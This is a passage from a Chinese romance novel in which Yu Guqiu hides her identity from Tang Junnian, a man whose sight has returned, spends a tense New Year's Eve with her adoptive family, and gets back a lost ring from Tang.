“不是的……他不是我男朋友。” “你确定不是?你不是喜欢他吗?” “不是!”虞谷秋掏出手机准备扫码点咖啡,被郑宵挡住手机。 “如果真是这样,就不喝咖啡了。” “啊?” “早知道是你,就约俱乐部喝酒了!”他神采奕奕,“顺便再一起跳一支舞吧。这次难道你又要拒绝我吗?” 虞谷秋哭笑不得:“你就非要跟我跳一支舞吗?” “在今天你出现在我面前之前时没觉得。但你偏偏出现了。”郑宵一口饮尽咖啡,“不要多想。我只是觉得比起我们在这边无聊地装模作样,不如跳舞啊,你说呢?” 虞谷秋发了会儿呆,收起手机。 “行,那就跳舞吧。” * 计划就这么偏离了轨道,虞谷秋头脑一热,真的跟着郑宵前往探戈俱乐部,这个她以为林淑秀病逝后她就不会再回来的地方。 郑宵开车载两人过去,路上她问郑宵:“你为什么这么喜欢跳探戈?” 郑宵的手指点着方向盘琢磨:“因为生活很无聊啊,平常坐办公室很需要运动。有人选择打拳击,有人选择去健身房,而我只是刚好选择探戈。” 虞谷秋失望道:“我还以为有什么故事听呢。” “让你失望了菜鸟小姐。”郑宵反问,“看来你有很多故事,那你呢?” “我不喜欢跳探戈,而且我到现在都没真正跳过一次探戈。”虞谷秋摸着手上的戒指,“我只是喜欢带我来这里的人。” “……所以你们没能谈是他不喜欢你吗?” “我说的是那个坐轮椅的女士。” “你是蕾丝啊?” “……” 郑宵哈哈一笑:“我开玩笑的,不幽默吗?” 现在跳车可行吗? 她无语地看着车窗外,精神却逐渐放松。 两人来到俱乐部,不同于跨年那晚的拥挤,俱乐部很冷清,寥寥几个人在舞池里跳舞,只有室内的音乐依然如往常热烈,反倒更衬出一些萧索,有点扼杀人想要跳舞的欲望。 虞谷秋这么想着,却听见郑宵兴高采烈道:“第一次人这么少,太好了,这样你就不用担心了菜鸟。” “……担心什么?” “不用担心被笑话啊!” 郑宵去柜台要来两瓶啤酒,递给虞谷秋一瓶。 “请你。喝一会儿再进去跳吧,热热身子。” “谢谢。” 互相碰完瓶,虞谷秋看着舞池,目光不经意划到最角落,眼前不知不觉就出现幻影——在舞池外角落拥抱的两个人,汤骏年和虞谷秋,他们额头相抵,脚步错落。 当时的他们看上去好幸福。 而此时,音乐切到下一首,郑宵向她伸来双手。 “怎么样,喝得差不多了吧,要不要来一段?” 虞谷秋回过神,幻影却只消失了一个,汤骏年仍然在。 她一口酒含在喉咙里忘记咽,看着汤骏年裹着一身寒意踏进门。他拄的盲杖在地上轻点,音响中的鼓点隆隆跟着响。 这不是幻觉。 郑宵顺着她的视线过去:“诶,那不是那谁吗?你叫来的啊?” 不等虞谷秋回答,郑宵已经理所当然地这么认为。他没仔细看汤骏年的眼睛,只凭盲杖认定他依然看不见,招手大声说:“这边这边!” 完蛋。 郑宵的这一挥手,让虞谷秋和汤骏年都措手不及。 汤骏年本来脸上迷惑,但看到旁边的虞谷秋,一怔,转道朝两人走过来。 郑宵这时才察觉说:“他是不是能看见我们啊?” 电光石火,虞谷秋一把抓住郑宵的手。 郑宵还没反应过来,踉跄两步,被虞谷秋拖向舞池。 “——不是,现在跳?!” 郑宵嚷着,虞谷秋此时根本不管自己在跳什么,将自己背对汤骏年,一边记得脱下手上的戒指,一边揽上郑宵的肩头,借着跳舞的姿势凑近郑宵,边以极快的语速跟他交涉。 “能不能假装我们正在交往?” “哈?” “还有,要假装你这是第一次见他。如果他说你声音耳熟,你就打马虎眼。” 郑宵晕头转向:“什么跟什么?” “还有最后一件事,我现在在喉炎,之后不能讲话,你要记住这个设定。” 郑宵崩溃:“你和他在玩什么play?” “不是闹着玩的!”虞谷秋表情严肃。 “好吧……”郑宵痛道,“我同意的话你可以踩我轻点吗?” 虞谷秋尴尬低头,她正不偏不倚踩着他的鞋头。 她往后跳开一步:“我就是来跟你说这些。” “那还跳吗?”郑宵意有所指汤骏年的方向,“他现在的眼神冷得我鸡皮疙瘩都起来了。” “你记住我刚才交代的三个原则!”虞谷秋再三耳提面命。 一场非常滑稽的跳舞到此为止,两人从舞池离开,回到汤骏年的所在之处。 虞谷秋已经摸出手机来打字:「好巧,你怎么会来这里?」 汤骏年的视线从手机移到她的眼睛。 “我来找人。”他说,“她没有和我当面告别,也联系不上。我只能一个个去我们一起去过的地方碰碰运气。” 虞谷秋不确定自己的面颊是不是轻微地抽了一下,不失礼貌地微笑点头。 汤骏年又看向郑宵:“你认识我吗?” 郑宵谨记教诲:“我第一次见你。” 虞谷秋超高手速地打配合:「但是我有和他提起过你,说你居然来婚礼了」 汤骏年点点头:“所以你们是……?” 郑宵瞥虞谷秋一眼,回答道:“我是她男朋友。” 汤骏年沉默了一会儿,看向虞谷秋,笑道:“上回你说的爱上的人,就是这位吗?” 虞谷秋对上他的眼睛。 明明已经是做过手术恢复神采的眼睛,该和当年一样灵动飞扬,但她望着他的眼睛,好黯淡。 他在这一刻确实回到他们重逢时刚见到的样子,灵魂在问她的这一刻离巢,以免增加听到答案的痛楚。 虞谷秋勉强抑制了抚摸他脸的冲动,却没能抑制住另一种冲动。 她应该打下“是”,以此斩断汤骏年的念头,让误会狗血地一深再深。 可是她的身体不由得偏向她的心: 「不是」 关于她爱上的人,当真的望着爱人的眼睛时,到底谁能无动于衷地撒谎? 第52章 一时的鬼迷心窍, 让自己给出了并不理智的答案。 虞谷秋感到片刻的慌张,但很快,她试图说服自己, 没关系,也能成立, 世界上多的是不爱却能交往的事。 虞谷秋越想越觉得通顺。这个时代很多人都是这样, 大家随便谈恋爱,按部就班地结婚,随着大流过完一生。所以她认为在没有欺骗他这个答案的情况下能够自圆其说, 然而—— 汤骏年的反应有点迟钝,分明是调大的两个大字,他却看了很久。 然后他的眼睛微微弯起来。 汤骏年笃定地看向郑宵:“如果是这样, 那他必定不是你的男朋友。” 郑宵愕然,求助地看向虞谷秋。 虞谷秋却比他更方寸大乱, 眼珠子打颤着垂下眼睛盯着地板,又掏出手机打字,忙得不知道在干什么。 「你意思是我们在撒谎吗?」 “你们没在撒谎吗?” 虞谷秋心一惊,负隅顽抗地敲字:「我们干嘛要撒谎?」 “这是我该问的问题。” 虞谷秋哑然。 她撑着最后的意志力反驳:「我们没理由撒谎,你凭什么觉得我们在撒谎?」 “因为你不是会这样随波逐流的人。”他回答。 「别说得你好像很了解我,我们不是很熟吧?」 汤骏年不讲话了。 气氛微妙地僵住,一旁围观的郑宵居然是打破这个场面的人。 “你俩别吵啊!”他一把将手臂搭到虞谷秋肩膀上, 嬉皮笑脸道,“他都看出来了, 我们就别假装了。” 合谋的队友没绷住, 虞谷秋一败涂地,恶狠狠地朝郑宵飞去一个眼刀。 郑宵着补道:“但以后说不定会是呢?” 汤骏年的眼神忽的朝他扫过去:“你喜欢她吗?” “这……”郑宵讪讪,“我们才接触不久。” “那就不要开这样的玩笑。” “你太严肃了吧……好好好。”郑宵碎碎念着, 举起双手投降,“我去个卫生间,你们慢聊。” 郑宵走之前还把啤酒带上了,根本不是去厕所的架势。他作为聪明人当然看出这两人之间有太多弯绕,他的仗义让他只演到三分就够,剩下的七分就是得尽快抽身,为这两人空出时机。 虞谷秋也想走,她没自信在这里和汤骏年一对一,思考着如果自己也说去卫生间会不会很奇怪。 还没酝酿好说辞,汤骏年抢占开口先机:“要不要去舞池?” 「什么?」 “我上次来没能进舞池。”他低头看她,“这次你能搭把手吗?” 「你应该刚刚看到我怎么踩郑宵的了」 “你可以跟他跳,不可以和我跳吗?” 虞谷秋顿住,然后实话实说:「因为我在和他相亲」 这下顿住的人成了汤骏年。 “那感觉怎么样?”他问。 「没看出来班长很八卦」 “因为你对我来说不一样。” 「那不都是高中的事了吗……」 “只是高中吗?” 热情的探戈舞曲在这时结束了。 没有了音乐的烘托,舞室在这时安静得吓人,踢踢踏踏的脚步声都不存在了。虞谷秋的心脏沉重地往下坠,她清晰地听到了落地的声音。 虞谷秋隐约有种感觉,他还在试探她。之前那些他不停试探自己的草蛇灰线,一瞬间扑面向她涌来。 又或许他根本已确认,只是他没有戳破,逼她开口露馅,倒是包容着她的装傻充愣。 他仍旧是那个汤骏年,即便对自己被断交满腹疑惑,仍旧会尊重她选择而不索要来龙去脉的那个人。他就是这样一个人。 就因为他是这样一个人,虞谷秋咬紧牙关,她更不能开口承认,就让这一切成为一笔糊涂账吧。 她低下头打完字,匆匆亮手机给汤骏年看,表示自己有事要走,拎上包飞快地离开了。 * 虞谷秋跑到外面后才想起来给郑宵发消息,对自己离开表示抱歉,郑宵倒是无所谓,只说两个人没拍张照,不好交差了。 虞谷秋倒没有这方面的困扰,胡采春并不真的关心这次相亲进展得好不好,她只要人去了礼数周全就可以交差。 在外面不知目的地游荡到夜晚,胡采春发来微信问:「吃完饭了吗?怎么样?」 「挺好的」 「那就好,明天几点到家?」 「我中午就回来帮忙吧」 「没关系,但中午能回来帮忙最好,你弟妹今年除夕也来家里吃饭呢!」 胡采春发了一个兴高采烈的表情包。 这种一眼年轻人最爱用的表情包,一看就是弟弟发给她,她再保存下来的。 虞谷秋偶尔能从表情包的这种细枝末节里推测到他们联系的频率,其实她不在乎,但只要看到新鲜的表情包,她就会想,他们又在聊天了,他们本来就应该聊天的,而不是像她这样工作汇报。 然后她又想,自己在计较些什么,一笑置之。 隔天虞谷秋拿上早就买好的大包小包,除了给养父养母的保健品,还有给弟弟夫妻俩准备的一对黄金首饰,新婚夫妻,这是她能送出最周到的礼物,最近金价大涨,买这对首饰真的太肉痛了,但没有办法。某种意义上而言这是她的作战装备,她必须确保装备妥当,不让敌人有可以攻陷的缺口。 还有一些是给自己的。她准备了睡袋,因为不喜欢那个有霉味的被子。 车子开到养父母家,现在一年来不了一次,从前熟悉的景没怎么变,更老了些,看上去却会有些陌生。但虞谷秋往楼下走时,那种感觉却没变,她还是十二岁的时候用攒的零花钱买包子和豆浆上楼,若无其事把整夜的眼泪吞下去的那个小孩。 两手挂满东西,连腾出手都勉强,虞谷秋侧身横起手肘敲门,声音很钝,敲了好几下才有人来开。胡采春围着围裙探出脑袋:“来就来,提那么多东西!” “新年礼物呀。” 胡采春首先看黄金的首饰盒,嗔怪道:“你自己都没赚几个钱,干嘛给你弟弟买那么贵的东西。”说着把东西收好,张罗道,“你先去坐着休息一会儿吧,你爸他去公园下将棋了。你弟弟他们晚饭的时候才来。” 虞谷秋当然不可能真的就去沙发坐着,挽起袖子进厨房,看见宰杀到一半的鲤鱼,一框还没拍的蒜,剁完的萝卜丝…… “我来剥蒜吧。” 虞谷秋将蒜拿过来一瓣一瓣剥开皮。 胡采春抄起刀继续剔鲤鱼的内脏,边问:“昨天见面真的都还好吧?” “挺好的。” “还没仔细问你,你的身体怎么样?” “还好,没发作呢,只是有风险,现在一直有吃药。” “这真是个麻烦病啊,要时刻提心吊胆的。”她拢起眉头,哀叹一声,“要是真得上了可怎么办!可怎么找对象……” 虞谷秋不甚在意地笑笑:“反正我一个人过着也没问题。” “怎么会没问题?app老给我推呢,说要真是癫痫的话一个人生活反而危险,病本身是其次,主要是发作起来不知就磕哪儿碰哪儿了。” “要是一个人都搞不定,再和别人一起生活不是才给别人添麻烦吗?” 胡采春念叨:“人啊,太不想给别人添麻烦就会活得辛苦。” 虞谷秋心想,可是有些人要先不给别人添麻烦才能活下来啊。 胡采春见她闷不吭声埋头剥蒜,又轻轻叹口气,说道:“你回去记得把家里尖锐的家具都包一包。” * 胡采春接着又问了问她的工作和生活,仅是在这个厨房,只有她们两人在一起时会发生的对话。到了晚间的桌上,关于她的话题就不会上桌了。 两个人张罗一下午,张罗一大桌子菜,游手好闲的男人们也回来了。养父虞千山带了瓶白酒回家,满脸通红,已经喝过一点了,称下棋赢回来的。 弟弟虞文夏则是只提了一桶烟花,他的未婚妻却很周到,给家里所有人准备了礼物,虞谷秋也有份,收到一条奢牌围巾。 她收下时非常不习惯,仔细一想,这是这么多年过年时第一次从这个家里收到礼物,虽然还是来自一个暂时还不属于他们家的人。 她依次将菜端上桌,胡采春终于得到一点点空闲,立刻跑去照料阳台上的花。 虞谷秋边端菜边看向阳台,那几盆花在冬日竟然开得也很好,胡采春拿起喷壶浇水,那喷口不太灵活了,胡采春用力挤好几下,喷出的水时弱时强,一簇簇地往外冒。 她朝虞千山抱怨:“不是让你帮我带个新壶回来吗?” 虞千山拿起酒壶:“这不是拿了吗?” “我说的是喷水壶!” “你那几盆破花有什么好张罗的?” 虞文夏插嘴道:“没事妈,下次我给你带。” 胡采春这才表情舒坦点:“还是文夏懂事。” 虞千山嗤之以鼻:“他都马上成家的人了,再不懂事能成吗?不像他姐,小学就知道帮忙带早饭了!” 她在这对父子中的作用基本是这样,一个用来鞭策虞文夏的正面教材,当然也是虞文夏心里的反面人物。 虞文夏不快地嘀咕:“因为不是亲生的啊,当然不像了。” 虞千山呵斥:“别给自己找借口!” 虞谷秋麻木地听着,上完所有菜坐下。她坐在靠近厨房门的位置,这是她的固定位置,方便随时起身添菜端碗。 剩胡采春还没入座,费劲地摁着喷壶浇花,虞千山就举起筷子招呼:“吃吧吃吧。” 饭桌上的大家开始动筷,未婚妻迟疑着,也跟着一起动了。只有帮着做了一下午菜的虞谷秋没动,等到胡采春也过来坐到自己身边,她才拿起筷子。 胡采春却根本不介意大家先一步吃起来,笑眯眯地问虞文夏和未婚妻:“还合口味吗?” 未婚妻称赞:“太好吃了!” 虞文夏砸吧着嘴说:“再放点盐就好了。” 胡采春解释:“你爸他最近高血压,医生说要少盐饮食。” 虞千山皱眉道:“那今晚你不知道多放一点,就一次又没关系。难得孩子们都来,你也真扫兴。” 胡采春擦了擦手起身:“那我去把这盘回锅一下吧。” 虞谷秋按住她:“不用了吧,你都没吃几口。” 虞文夏阴阳怪气地怼道:“姐是不想吃咸的吧。” “……” 胡采春拨开虞谷秋的手:“没事,很快,几分钟的工夫。” 虞谷秋就知道会是这样,站起身将胡采春按回去:“那我去吧。” 胡采春欲言又止,最后任虞谷秋将菜从她手中抽走。 虞谷秋端着菜回到厨房,拉上门,开灶起火。抽油烟机的声音盖住了外面的交谈,她翻炒着锅中的菜,心里依旧很平静。 只要忍过这一天就行。 作为被收养的孩子,要对得起良心,她切不断这份养育之恩,既然无法真的和他们断绝关系,那么这一年一天的苦总得忍受。 她也不必替胡采春感到委屈和不值,无论自己再怎么懂事,在胡采春心里,还是不懂事的那一个是她的孩子。 胡采春什么都知道,才会说出那句懂事的人活得更辛苦。 虞谷秋下意识地摸着食指,想摸一摸戒指恢复平静。 ……戒指呢? 手指摸到空荡荡的指根,虞谷秋脸色一变。 她不管不顾,拉开门问众人:“你们有看到我戒指吗?” 未婚妻应道:“什么样的戒指?” “一个月牙型的!” 虞文夏拉住要帮忙找的未婚妻:“值钱吗?不会是什么塑料合金吧,那种丢了就丢了呗。” 虞千山也附和道:“一切吃完饭再说。” 胡采春探头望向厨房:“你菜还在炒呢!别糊锅了!” 这家里没有人在乎她的戒指。 这幕很熟悉,就像十多年前没人在乎她说离家出走那样。 虞谷秋深呼吸一口气,迅速地缩回厨房将菜料理了,然后开始仔细回想戒指的下落。昨天去俱乐部时摘过戒指,之后她就再也没有戴上戒指的记忆……这样想,极有可能是丢在了俱乐部。 她端菜上桌,借着洗锅之由回到厨房,关上门给郑宵打电话。 打了很久才打通,她抱歉道:“对不起,打扰你吃年夜饭了吧?” “没事没事,怎么了,难道是你妈逼你给我打祝贺电话?” “不是……我想来问问你有没有在俱乐部看见过一个月型戒指。” 郑宵沉吟道:“没印象啊……” 虞谷秋失落地垮下肩:“那你有那个俱乐部老板的联系方式吗?能不能帮我问问?” “没问题。” 很快,他回了她一个沮丧的表情,说老板也没看见。 他建议她:“你要么再问问你那位盲人朋友?” 她纠正他:“他已经能看见了。” 他回:“那说不定他就看到了。” 虞谷秋捧着手机叹气。 问汤骏年戒指的事,无异于变相承认自己就是吴冬,那是只有吴冬才拥有的戒指。此时再扯谎说巧合,他也不会信了吧。 但她没有别的选择了。 虞谷秋咬咬牙,在焦急和怯懦的交叉驱使下颤巍地发送消息。 「打扰了,请问你昨天在俱乐部里有看见过一枚月牙戒指吗?」 ——安静。 她盯着毫无动静的手机,厨房外有人敲门,是未婚妻在外面问:“姐姐,你来吃饭吗?” “就来。” 不知不觉的屏息在这刹那断掉,她猛地呼了一大口气,消息还是没有来。 她回到桌上就开始心不在焉,手在桌底下握着手机,不知过了多久,终于感受到它震动。 心脏狂跳,虞谷秋开始不敢点。 她往嘴巴里塞了一大块牛腩,大力咀嚼着分散注意力,同时一鼓作气地打开。 靠,结果发来消息的人是郑宵。 “怎么样,找到了吗?” 她失望又松口气:“没。谢谢,别担心了。” 手机再次震动,她以为又是郑宵回复,轻轻松松地打开。 汤骏年的头像却压过郑宵一头飘到顶。 「图片」 「是这个吗?」 他发过来的照片正是她丢的戒指。 冲击总是突如其来,做好准备时不来,不做准备时迎头一击。 偏偏戒指真的落在汤骏年手里。 虞谷秋百感交集,但还是庆幸更多一点,至少她找到了戒指,没有弄丢林淑秀留给她的遗物。 「这是你的戒指吗?」 他又发来一条。 他们这些天来的互动就像是一场飞镖竞赛,他从每一镖的虚发,到今天每一条消息都在逐级靠近靶心。 虞谷秋闭了闭眼,认命地打下三个字。 「是我的」 手机忽然又不再震动。 可你知道,当人要射出最关键的一环时,不会轻举妄动。 然后一出手,就必定干脆扎中她的心。 「我知道」 「所以我没有给任何人,留在了我这里」 第53章 果然, 汤骏年果然早已知道了。 可是他到底是什么时候知道的?明明她自认为没有纰漏,难道是戒指从她口袋中出来的一幕正好被他目击,还是之前在养老院来找时就已经看见过她……忽然间, 虞谷秋福至心灵,猛然想起一件被自己遗漏掉的致命细节。 ——汤骏年在家门口装过监控。 他眼睛好了之后去一查, 不就什么都知道了吗? 虞谷秋捂住脸, 心想这么些天自以为天衣无缝的自己真是白痴啊! 她心如死灰,畏畏缩缩地问: 「那个……你方便叫个闪送过来吗?」 她发过去地址,汤骏年很快回她:「我现在有点事, 等会儿我来叫吧」 胡采春这时夹了一筷子鱼肉到她碗里:“别玩手机了,吃饭。” 虞谷秋意思意思地拨下一点鱼肉放入嘴中。 多少年过去,胡采春依然不记得她不喜欢吃鱼。因为幼儿园的时候吃鱼刺卡到喉咙, 从此吃鱼就成了她的噩梦。 饭桌上的话题开始围绕虞文夏的婚宴,摆多少酒, 请多少人,接下来要去哪里度蜜月……虞谷秋神游天外地听着,觉得时间过得真漫长。 她低下头又看手机,没有东西已经开始配送的提示,想发消息问问汤骏年何时送,但又觉得大过年让人家寄东西已经是麻烦,不应该再催促。 对啊, 今天是除夕,汤骏年在家吗?他怎么过年呢?一个人做饭吗? 今年连飞飞都不在他身边了, 他会寂寞吧?一定会的。 她不由自主地逸出叹息, 惹得胡采春看过来。 她却误解了她的想法,以为她在眼红弟弟的婚礼,而自己却才黄了一门相亲。 但胡采春什么都没说, 又默默夹了块鱼肉过来。 虞谷秋藏起为难,又默不作声地吃掉了。 一桌年夜饭拖拖拉拉吃了个把小时,倒掉残羹冷炙,剩下一堆叠起来的脏盘子。这以前也是胡采春的活儿,但虞谷秋小的时候就帮忙一起洗碗了,深知洗碗的痛苦,于是长大拿工资后她送给家里的第一件礼物就是洗碗机。 虞千山收到东西后却骂她败家。 “盘子你妈都洗这么多年了啊,上千块买一个没用的东西干嘛?还洗不干净,感觉油油的。” 他不乐意,胡采春也就没再怎么碰那台洗碗机。 但今晚这么多盘子她都要一个个洗,虞谷秋冷眼看着胡采春把碗放进水槽,拧开水龙头,碗碟叮咣碰撞,外头开始看春晚的热闹声响,两种声响交叉在一起,虞谷秋忽然大步上前,一把拿走水槽里的碗,把它们统统塞进洗碗机。 以往她不会这样做,只会忍气吞声地看着,至多过来帮忙一起洗,两个人就这样一直把洗碗机晾在旁边。 可今晚她反抗了。 胡采春因为她的举动吃了一惊,担忧道:“这样你爸会不高兴的。” 虞谷秋把门一关:“那不让他知道不就行了?” 胡采春呆站在原地眨了眨眼:“那我们还在厨房做什么?” 虞谷秋想了想:“偷懒?” 胡采春不知所措地看着虞谷秋,莫名其妙的,两人相视笑了起来。胡采春笑着去拧开水龙头说:“那做戏要做全套。” “对……果然姜还是老的辣。” 胡采春哭笑不得地摇摆着手。 “爸以后让你洗碗,你就关上门放水,把碗交给洗碗机。” “算了吧,他会奇怪我为什么老是关门。”胡采春淡淡道,“再说平常就几个碗碟,不要紧。” 虞谷秋撇撇嘴。 厨房里安静下来,两人互相都不知道该再说点什么。即便有一年没见,但攒起来的话却只有一小碟,已经在下午的厨房里都说完了。 胡采春只能翻来覆去念叨两句家常:“你难得来,今天都没吃几口,尤其是那个鱼。” 虞谷秋有点无语。 她先是含糊道:“最近胃口一般。”可然后,她竟然鼓起勇气补上一句:“再说,我也不爱吃鱼。” 胡采春的反应超乎她想象,惊讶道:“你怎么不爱吃鱼?那不是你爱吃的鲤鱼吗?都因为吃它卡喉咙。” 虞谷秋一愣,她以为她根本不记得卡喉咙这回事了。 “是啊,所以那之后我就不敢吃了……” “是这样吗……?那你怎么不说呢?我见你每次都吃啊!” 虞谷秋垂下眼睛:“以前不敢剩菜啊。” 胡采春怔了好长一会儿,水流冲刷着空荡荡的水槽,把刚才碗碟里留下的一些污渍都冲到了下水口,堵在那儿。 她回过神,轻轻地问虞谷秋一句:“那你现在喜欢吃什么?今天桌上的有你喜欢吃的吗?” 虞谷秋的鼻头猛地一酸。 “没有。”她吸了吸鼻子别过脸,“我现在喜欢吃虾了。” 胡采春点点头:“知道了。” 洗碗机还在嗡嗡作用,没到结束的时候,两人又沉默下来。 虞谷秋看着胡采春的脸,心想自己如果有从这个家里确实地渴望过什么,那胡采春是她想过说不定能从她身上获得一点爱的人。 即便她和另外那两个人一样不在乎自己的离家出走,但她却也是在她买来早饭的那天早上,唯一问她你为什么突然跑下楼去买早饭的人。另外两个人只是拿走包子和豆浆,吃得满嘴流油。 但后来闻着霉味的被子,躺在毕业后无处下脚的房间里时,虞谷秋明白她无法从胡采春身上得到任何,渐渐接受自己是这个家里一件家具的事实。 她单纯地认为,只是因为她们之间没有血缘的牵绊。 但此时此刻,虞谷秋又看见了胡采春流露出来的,对她的一点真心。 年岁渐长,她似乎终于在此刻明白胡采春为什么会无法给她任何。胡采春难道给虞文夏的就是自己曾经渴求过的爱吗,好像也不是。她不爱任何人,甚至不爱自己。早在虞谷秋之前,这个家里已经存在一桩家具了,叫做胡采春的家具。 虞谷秋这么想着,冲动之下开了口:“妈,你从没想过和爸离婚吗?” 胡采春惊得几乎要跳起来了。 “你这孩子也没喝酒啊?说什么胡话呢?” 虞谷秋执拗地问:“你真的从来没想过吗?” 胡采春拉下脸:“你再乱说话我要生气了。好好的说什么离婚,你爸他又没出轨又没赌博的。” “不是他非要做错什么才能离婚啊。” “那不然呢?” “你不快乐还不够吗?” 胡采春茫然地望了望天花板,嗤笑一声:“都要三十岁了还说小孩子的话。” 虞谷秋深呼吸:“妈,我只是想告诉你,你可以有这样的念头。至少我会支持你,经济方面也好……” 胡采春额头青筋隐隐跳动,她直呼其名厉声打断她:“虞谷秋!你别自己不当家里的一份子就盼着把家打散想我们都不好!给我滚出去,不准再提了!” 她乱七八糟地强行中止了洗碗机,湿着一双手从里面掏出洗到一半的碗碟,重新丢回了水槽。 虞谷秋转身离开了厨房。 客厅里坐在沙发上的三人没注意到她们在厨房的争执,电视声音开得很大,春晚的笑声飘满整间屋子。 沙发被占满,弟弟的未婚妻见虞谷秋出来,跟着起身要让位。虞谷秋摆摆手,拖了把椅子过来坐到边上。 她摸出手机查看,仍没收到收件码短信,迟疑着还是发出一条消息问汤骏年情况。 等他回复的间隙,她刷了会儿朋友圈,各路人马都在晒年夜饭,却没看到许琼的。 她那么乐意在朋友圈分享生活,又怎么会错过这种大年夜,这个点该发的也都发了。虞谷秋只能想到一种最大的可能:自己大概率被屏蔽了。 虞谷秋觉得自己真可笑。 为在朋友圈特意找许琼的自己感到可笑,为刚才在厨房多管闲事的自己感到可笑。 她对自己说她不在乎任何一边,但事实是任何一边都不在乎她。 肚子在这个时候感到饥饿地,小小地叫了一声,被电视里的笑声盖过。 虞谷秋站起身,套上外套说了句我去楼下买点东西,虞文夏见缝插针地喊那给我带包烟!玉溪! * 便利店就在家门口,但一出楼道,虞谷秋就被灌进脖子的冷风冻一哆嗦,开始后悔应该套个围巾下来。 她将双手揣进口袋,像只不太灵活的企鹅跑向对面。 便利自动门应声而开,温热的暖气扑面而来,刷着短视频的年轻店员心不在焉。同样是漠视,虞谷秋却舒爽地松下神经,慢吞吞地在货架间走来走去,最后挑了一包冬阴功味的合味道,一只蟹棒,再加一瓶香蕉牛奶,口水开始在嘴里分泌。 她抱着这些到柜台,看到店员身后的一货架烟,心情又讨厌起来。 “帮我拿一包玉溪,谢谢。对了,店里可以泡泡面吗?” “热水在那儿,尽管用。” 虞谷秋道过谢,搓着手去泡面。店里正好有临窗的吧台座,这样背对着店员吃泡面比较不尴尬。 等待泡面泡开的的过程中,汤骏年终于回消息了。 「戒指马上送到」 虞谷秋一脸疑惑。 「怎么可能,我都没收到取件码」 「除夕夜叫不到闪送」他回,「所以我给你送过来了,马上就到小区门口」 虞谷秋愕然地抬起头看向街对面。 昏黄的路灯下,车少无人,空旷不已,又一辆车划过眼前后,拄着盲杖走着的汤骏年入了画,从左侧的窗框里慢吞吞地进入她的视野。 他仍是穿着黑色大衣,围着一条纯白围巾,在路灯下泛着橙黄的光。 虞谷秋忽的按出了这通电话。 嘟,嘟,嘟。 虞谷秋看见汤骏年停下来,在冬日里呼出冷气,冻红的手摸出手机,双目凑近看向屏幕,看见这个号码,神情流露出无措,仿佛不知道接通键在哪儿,慌乱地接起。 电话两头是互相此起彼伏的呼吸。 继而,他似有所感地转过了身。 两人再一次隔窗相望。 只是这一次,是汤骏年站在了窗外。 虞谷秋举着手机,另一只手捂着泡面,热气拂过手。她吞咽着,不再因为馋,而是某种难以言语的情绪,喉咙数次翻滚,轻飘飘出一句:“嗨。” 汤骏年也举着手机,表情因为隔得远看不清晰,只听见他的声音通过电话传来,明明相隔着很近,那声音却有些沙沙的,像隔了很远的光年,从宇宙的那一头传过来。 “嗨。”他说,“你的喉咙终于好了。” 虞谷秋咬住嘴唇。 他轻笑:“怎么又不说话了,吴冬?” 又一辆红色的车驶过。 汤骏年向她跑来。 第54章 叮咚——便利店的自动门打开, 黑色大衣的男人走进来,冲虞谷秋的位置而来。 虞谷秋看着汤骏年越走越近,目光下意识越来越低, 垂到地上,看着他的脚步站定在她跟前。 虞谷秋倍感尴尬, 她宁可他呵斥自己说两句说果然是你为什么要骗我之类的, 也好过他这样四两拨千斤地配合着她拙劣的演戏。这样反而有一种说不上来的微妙的坏心眼。 她僵硬道:“谢谢你特地跑一趟,没有人接单你可以跟我说的,明天再送也可以。” “没关系, 反正我今天有空。而且我现在也能一个人去各种地方了,送这个也不麻烦。”汤骏年从大衣口袋里掏出包好的戒指,“而且这是她给你的, 很重要不是么?” 虞谷秋讷讷地拿回来,一把揣进口袋。 “不戴上吗?万一又丢了。” 她又掏出来, 在他的目光中心虚地戴进食指。 汤骏年的目光移向桌子,低头仔细辨认,确认那是泡面没错。 “你怎么会在这里吃泡面?没吃饭吗?” 虞谷秋悄悄挪了下位置把其他的零食挡住:“吃过了,没吃饱。” 汤骏年知道她的家庭情况,一想便了然了。 他略一思索,说:“刚好我也没吃年夜饭,不然你请我吃饭吧, 如果你想谢谢我亲自送戒指过来。” 虞谷秋狐疑地看着他:“你真的没吃年夜饭?” “吃过晚饭了,但没吃过年夜饭。”他看着她说, “一起吃饭才能叫年夜饭吧?” 虞谷秋怔然, 心里想,他果然是一个人。 几乎是一瞬间,她就想对着他点头, 跟他走了。 可是这样不对,如果是这样,那她这些天来的躲避和坚持岂不是功亏一篑? 她咬咬牙,冷酷道:“今天可是除夕夜,除夕夜是要和家人一起过的。” 汤骏年一针见血地问:“可那些人能算是你的家人吗?” 虞谷秋被刺到,下意识回了一句有点伤人的话:“那我跟你更不能算。” 汤骏年却很平静:“所以你去哪边都没关系,看你的意愿。但至少和我一起你不必要吃泡面。还是你已经讨厌我到连这样都忍受不了?” “我怎么会讨厌你?” 他露出一丝苦笑:“不是吗?我想是我做了什么让你非常讨厌的事你才会像现在这样,离得我远远的。” “不是的!绝对不是!我没有撒谎!” 他眨了眨眼,笑容中的苦涩被慢慢稀释。 “真的吗?” 追问的语气好像个小孩子。 虞谷秋狂点头:“一万个真。” “如果不讨厌我,那就可以一起吃饭吧?” 话题就这样又绕回来了。 虞谷秋仍然在为难,理智叫嚣着不可以,绝对不可以,要守住线。情感却已经迫不及待想搭上了汤骏年向自己伸出来的手。 放在桌面的手机亮起,是虞文夏发来了一条催促的消息。 「买个烟而已,你属树懒的啊?」 这条消息打乱了摇摇欲坠的天平,彻底向不理智的方向倾斜。 虞谷秋猛翻一个白眼,无视消息,长按关机,一气呵成。 她看向汤骏年,咬咬牙:“我们走吧,就只是吃一顿饭。” 离开前,她掏出口袋里的烟,随着泡面一起恶狠狠地扔进垃圾桶。 * 虞谷秋的本意是和汤骏年一起找一家还开着的饭店随便吃点,结果找了好几家,要不关门大吉要不就是只接待预定,能吃上的估计就剩连锁快餐,那和泡面也没什么区别。 于是,兜兜转转,他们又回到了这里。 虞谷秋看着汤骏年家的门口,她还记得自己第一次叩开这道门,看见他从里头探出脸时的匪夷所思和惊心动魄。 为了他能理睬自己,她编造了一个名字,交集也由此开始。 而在发生了那么多事之后,她又站在这里,只是,这回终于是虞谷秋了。 这感想来得多余,她在离开汤骏年的这些日子里确实以为她不会再来这里了。 但……就是吃一顿饭,老天也会允许她纵容一下自己的留恋吧。 就把这次当作好好的告别,这样两个人都不会有遗憾。 她跟在汤骏年身后进屋,一进来时就感觉有哪里不一样了。房子很空荡,不再有那个摇头晃脑的小狗安静地贴上来蹭她的脚踝。 